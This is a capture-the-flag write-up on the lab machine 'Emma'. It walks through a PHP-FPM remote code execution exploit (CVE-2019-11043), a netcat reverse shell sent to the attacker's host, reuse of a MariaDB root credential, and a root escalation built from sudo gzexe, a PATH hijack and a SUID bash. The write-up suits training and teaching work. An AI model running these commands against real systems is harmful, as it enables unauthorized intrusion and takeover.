HMV Emma Summary
Scope
- Name: Emma
- Difficulty: (5/10)
- OS: Linux
- IP: emma.hmv(192.168.56.124)
Foothold
The initial TCP surface was minimal, just SSH on 22 and HTTP on 80. That normally makes web
enumeration the obvious first move, and this box leaked the key clue almost immediately.
❯ curl http://emma.hmv -I HTTP/1.1 200 OK Server: nginx/1.14.2 X-Powered-By: PHP/7.1.33dev ❯ curl http://emma.hmv/robots.txt itwasonlyakiss
That X-Powered-By header was already suspicious, and directory brute forcing quickly confirmed that
the host also exposed phpinfo.php.
❯ feroxbuster -u http://emma.hmv/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php,txt,jpg,html --smart 200 GET 0l 0w 0c http://emma.hmv/ 200 GET 0l 0w 0c http://emma.hmv/index.php 200 GET 1l 1w 15c http://emma.hmv/robots.txt 200 GET 627l 3373w 58711c http://emma.hmv/phpinfo.php
At that point the attack path was clear: phpinfo.php and the exposed PHP/7.1.33dev stack gave me
enough confidence to test CVE-2019-11043 with the exploit.py PoC. It worked and gave me remote command execution.
❯ python exploit.py --url http://emma.hmv/index.php [*] QSL candidate: 1754, 1759, 1764 [*] Target seems vulnerable (QSL:1754/HVL:203): PHPSESSID=72633bf83975fa1bbd3d8e4a844054be; path=/ [*] RCE successfully exploited!
One small wrinkle is that the injected PHP configuration already has a prefix /. I used that to fire
a reverse shell with /usr/bin/nc and tab separators.
❯ curl 'http://emma.hmv/index.php?a=/usr/bin/nc%09192.168.56.1%091234%09-e%09/bin/bash'
That landed me on the machine as www-data.
Privilege Escalation
User Info
www-data@emma:~$ ls -al /home total 12 drwxr-xr-x 3 root root 4096 Feb 4 2021 . drwxr-xr-x 18 root root 4096 Feb 4 2021 .. drwxr-xr-x 3 emma emma 4096 Feb 4 2021 emma www-data@emma:~$ ls -al /home/emma/ total 60 drwxr-xr-x 3 emma emma 4096 Feb 4 2021 . drwxr-xr-x 3 root root 4096 Feb 4 2021 .. -rw------- 1 emma emma 50 Feb 4 2021 .Xauthority -rw-r--r-- 1 emma emma 220 Feb 4 2021 .bash_logout -rw-r--r-- 1 emma emma 3526 Feb 4 2021 .bashrc drwxr-xr-x 3 emma emma 4096 Feb 4 2021 .local -rw-r--r-- 1 emma emma 807 Feb 4 2021 .profile -rwx------ 1 emma emma 1920 Feb 4 2021 flag.sh -rw------- 1 emma emma 14 Feb 4 2021 user.txt -rwsr-s--- 1 root emma 16760 Feb 4 2021 who -rw-r--r-- 1 emma emma 185 Feb 4 2021 who.c
Network Info
www-data@emma:~$ ss -tnlup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:9000 0.0.0.0:* users:(("ss",pid=787,fd=13),("bash",pid=754,fd=13),("sh",pid=753,fd=13),("script",pid=752,fd=13),("bash",pid=751,fd=13),("sh",pid=750,fd=13))
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=410,fd=6))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 [::]:80 [::]:* users:(("nginx",pid=410,fd=7))
tcp LISTEN 0 128 [::]:22 [::]:*
www-data --> emma
Once I had a shell, the local-only MariaDB service became relevant. The value from robots.txt
looked like a password candidate, so I tried it against the database first.
www-data@emma:/home/emma$ mysql -u emma -p'itwasonlyakiss' ERROR 1045 (28000): Access denied for user 'emma'@'localhost' (using password: YES) www-data@emma:~$ mysql -u root -p'itwasonlyakiss' Welcome to the MariaDB monitor. MariaDB [users]> select * from users; +----+------+----------------------------------+ | id | user | pass | +----+------+----------------------------------+ | 1 | emma | 5f4dcc3b5aa765d61d8327deb882cf80 | +----+------+----------------------------------+
That was a clean credential reuse issue: the secret from robots.txt was the MariaDB root
password.
emma --> root
The next useful clue sat directly in /home/emma. There was a custom SUID binary called who plus
its source code.
void main(){ setuid(0); setgid(0); printf("Im \n"); system("/bin/id"); setuid(1000); setgid(1000); printf("But now Im \n"); system("/bin/id"); }
By itself this binary is not a full win because it deliberately drops privileges back to emma
after the first command. The real mistake showed up in sudo -l instead.
emma@emma:~$ sudo -l
Matching Defaults entries for emma on emma:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User emma may run the following commands on emma:
(ALL : ALL) NOPASSWD: /usr/bin/gzexe
gzexe is dangerous here because it rewrites an executable into a shell wrapper that relies on
PATH to locate utilities like gzip. I used sudo gzexe /bin/id, which replaced /bin/id
with a shell script and saved the original binary as /bin/id~.
emma@emma:~$ sudo /usr/bin/gzexe /bin/id /bin/id: 59.2% emma@emma:~$ file /bin/id /bin/id: POSIX shell script executable (binary data) emma@emma:~$ file /bin/id~ /bin/id~: ELF 64-bit LSB pie executable, x86-64
Now the SUID who program became useful. It still calls /bin/id while running as root, but
/bin/id is now the gzexe wrapper. By planting a fake gzip in /tmp and prepending /tmp to
PATH, I could make the wrapper execute my payload as root before who dropped privileges.
emma@emma:/tmp$ cat gzip #!/bin/bash -p chmod +s /bin/bash /usr/bin/gzip emma@emma:/tmp$ export PATH=/tmp:$PATH emma@emma:/tmp$ /home/emma/who emma@emma:/tmp$ ls -al /bin/bash -rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash emma@emma:/tmp$ /bin/bash -p bash-5.0# whoami root
The nice detail in this chain is that secure_path on sudo does not save the box. The PATH
hijack does not happen when running sudo gzexe; it happens later, when the SUID helper invokes the
wrapped /bin/id as root.
Takeaways
This box chained together three independent mistakes:
- Exposing
phpinfo()and a vulnerablePHP-FPMstack turned a tiny web surface into unauthenticated RCE. - A value hidden in
robots.txtdoubled as the local MariaDBrootpassword, so the first shell immediately expanded into real credentials. - A seemingly narrow
sudorule forgzexebecame critical once it was combined with a SUID program that executed/bin/idbefore dropping privileges.
The escalation path is also a good reminder that local privesc often comes from composition. Neither
who nor gzexe looks catastrophic in isolation, but together they created a reliable root path.
Footnotes:
References used during exploitation: theMiddleBlue/CVE-2019-11043 and This PHP just wants a '\n' to get pwned.
gzexe explicitly warns that its compressed executables rely on PATH to find gzip and a few standard utilities.